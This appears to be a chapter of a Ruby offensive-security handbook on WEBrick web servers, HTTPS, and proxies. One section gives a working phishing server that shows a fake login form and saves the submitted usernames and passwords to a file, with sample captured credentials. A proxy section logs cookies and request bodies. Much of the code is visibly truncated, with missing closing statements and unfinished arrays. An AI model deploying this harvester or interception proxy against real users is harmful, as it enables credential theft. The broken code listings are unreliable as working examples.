Web Server and Proxy

Web Server

You can run Ruby as web server for any folder/file on any unused port, here's a oneliner code

ruby -run -e httpd /var/www/ -p 8000


require 'webrick'
server = WEBrick::HTTPServer.new :Port => 8000, :DocumentRoot => '/var/www/'
# WEBrick::Daemon.start   # Stating WEBRick as a daemon

HTTPS server

require 'webrick'
require 'webrick/https'

cert = [
  %w[CN localhost],

server = WEBrick::HTTPServer.new(:Port         => 8000,
                                 :SSLEnable    => true,
                                 :SSLCertName  => cert,
                                 :DocumentRoot => '/var/www/')

Advanced HTTP Server

During working on CVE-2016-4971(Wget) exploit, more advanced & custom behavior needed. Here is a web server with a fake login form that saves the collected credentials to a text file. This comes in handy when you don't need to make customizations on apache config or you don't have enough privileges to do so. It require no knowledge for web frameworks like Rails or Senatra.

#!/usr/bin/env ruby
require 'webrick'

# Servlet: Is a Web Server with custom behavior class
# It's a subclass of WEBrick::HTTPServlet::AbstractServlet
class RubyfuServlet < WEBrick::HTTPServlet::AbstractServlet

  # Control 'GET' request/response
  def do_GET(req, res)
    res.status = 200
    res['Content-Type']   = "text/html; charset=UTF-8"
    res['Server']         = "Rubyfu WebServer"
    res['Cache-Control']  = "no-store, no-cache,"
    res.body              = print_login(req)

  # Show login
  def print_login(req)
    html = %q{
        <table cellpadding="3" border="1">
        <tr><td colspan="2"><center><h4><b>Enter your Username and Password</b></h4></center></td></tr>
        <form method="POST" action="/login">
                <tr><td><strong><b>Username:</b></strong></td><td><input name="username" type="text"></td></tr>
                <tr><td><strong><b>Password:</b></strong></td><td><input name="password" type="password"></td></tr>
                <tr><td colspan="2"><center><h1><b><input type="submit" value="Login" /></b></h1></center></td></tr>


class Login < WEBrick::HTTPServlet::AbstractServlet

  # Control 'POST' request/response
  def do_POST(req, res)
    status, content_type, body = save_login(req)
    res.body  = body

  # Save POST request
  def save_login(req)
    username, password = req.query['username'], req.query['password']

    if !(username && password).empty?
      # Print Credentials to console
      puts "\n-----[ START OF POST ]-----"
      puts "[+] #{username}:#{password}"
      puts "-----[ END OF POST ]-----\n\n"
      # Write Credentials to file
      File.open("credentials.txt", '+a') {|f| f.puts "#{username}:#{password}"}
      return 200, 'text/plain', 'Success! Thank you.'
      puts "[!] Empty username and password."
      return 404, 'text/plain', 'Wrong username or password!'


  port = ARGV[0]
  raise if ARGV.size < 1

  # Start Web Server
  puts "[+] Starting HTTP server on port: #{port}\n"
  server = WEBrick::HTTPServer.new(ServerName: "Rubyfu HTTP Server",
                                   Port: port,
                                   BindAddress: '',
                                   AccessLog: [],
                                   Logger: WEBrick::Log.new(File.open(File::NULL, 'w'))
  server.mount("/", RubyfuServlet)
  server.mount("/login", Login)
  trap "INT" do server.shutdown end

rescue Exception => e
  puts "ruby #{__FILE__} <WEB_SERVER_PORT>" if ARGV.size < 1
  puts e, e.backtrace
  exit 0

Run it

ruby webrick-server.rb 8080
[+] Starting HTTP server on port: 8080

-----[ START OF POST ]-----
[+] admin:AdminPassw0rd@!
-----[ END OF POST ]-----

-----[ START OF POST ]-----
[+] support:Puppies
-----[ END OF POST ]-----

[!] Empty username and password.

-----[ START OF POST ]-----
[+] user1:12345678
-----[ END OF POST ]-----

You'll find credentials have been saved in 'credentials.txt'


Web Proxy

As we can run web server, we can run a proxy server, here's a oneliner code to run a web proxy server in ruby

ruby -r webrick/httpproxy -e 's = WEBrick::HTTPProxyServer.new(:Port => 8080, :RequestCallback => Proc.new{|req,res| puts req.request_line, req.raw_header}); trap("INT"){s.shutdown}; s.start'

Transparent Web Proxy

require 'webrick'
require 'webrick/httpproxy'

handler = proc do |req, res|
  puts "[*] Request"
  puts req.inspect
  request = req.request_line.split
  puts "METHOD: "      + "#{request[0]}"
  puts "Request URL: " + "#{request[1]}"
  puts "Request path: "+ "#{req.path}"
  puts "HTTP: "        + "#{request[2]}"
  puts "Referer: "     + "#{req['Referer']}"
  puts "User-Agent: "  + "#{req['User-Agent']}"
  puts "Host: "        + "#{req['Host']}"
  puts "Cookie: "      + "#{req['Cookie']}"
  puts "Connection: "  + "#{req['Connection']}"
  puts "Accept: "      + "#{req['accept']}"
  puts "Full header: " + "#{req.header}"
  puts "Body: "        + "#{req.body}"
  puts "----------[END OF REQUEST]----------"
  puts "\n\n"

  puts "[*] Response"
  puts res.inspect
  puts "Full header: " + "#{res.header}"
  puts "Body: " + "#{res.body}"
  puts "----------[END OF RESPONSE]----------"
  puts "\n\n\n"

proxy = WEBrick::HTTPProxyServer.new Port: 8000,
                                     ServerName: "RubyFuProxyServer",
                                     ServerSoftware: "RubyFu Proxy",
                                     ProxyContentHandler: handler

trap 'INT'  do proxy.shutdown end


Transparent Web Proxy with Authentication

Well, it was great to know that building a proxy server is that easy. Now we need to Force authentication to connect to the proxy server

To enable authentication for requests in WEBrick you will need a user database and an authenticator. To start, here's a htpasswd database for use with a DigestAuth authenticator:

The :Realm is used to provide different access to different groups across several resources on a server. Typically you'll need only one realm for a server.

#!/usr/bin/env ruby
require 'webrick'
require 'webrick/httpproxy'

# Start creating the config
config = { :Realm => 'RubyFuSecureProxy' }
# Create an htpasswd database file in the same script path
htpasswd = WEBrick::HTTPAuth::Htpasswd.new 'rubyfuhtpasswd'
# Set authentication type
htpasswd.auth_type = WEBrick::HTTPAuth::DigestAuth
# Add user to the password config
htpasswd.set_passwd config[:Realm], 'rubyfu', 'P@ssw0rd'
# Flush the database (Save changes)
# Add the database to the config
config[:UserDB] = htpasswd
# Create a global DigestAuth based on the config
@digest_auth = WEBrick::HTTPAuth::DigestAuth.new config

# Authenticate requests and responses
handler = proc do |request, response|
  @digest_auth.authenticate request, response

proxy = WEBrick::HTTPProxyServer.new Port: 8000,
                                     ServerName: "RubyFuSecureProxy",
                                     ServerSoftware: "RubyFu Proxy",
                                     ProxyContentHandler: handler

trap 'INT'  do proxy.shutdown end


If you do it right, you'll get an authentication pop-up in your browser just like below.


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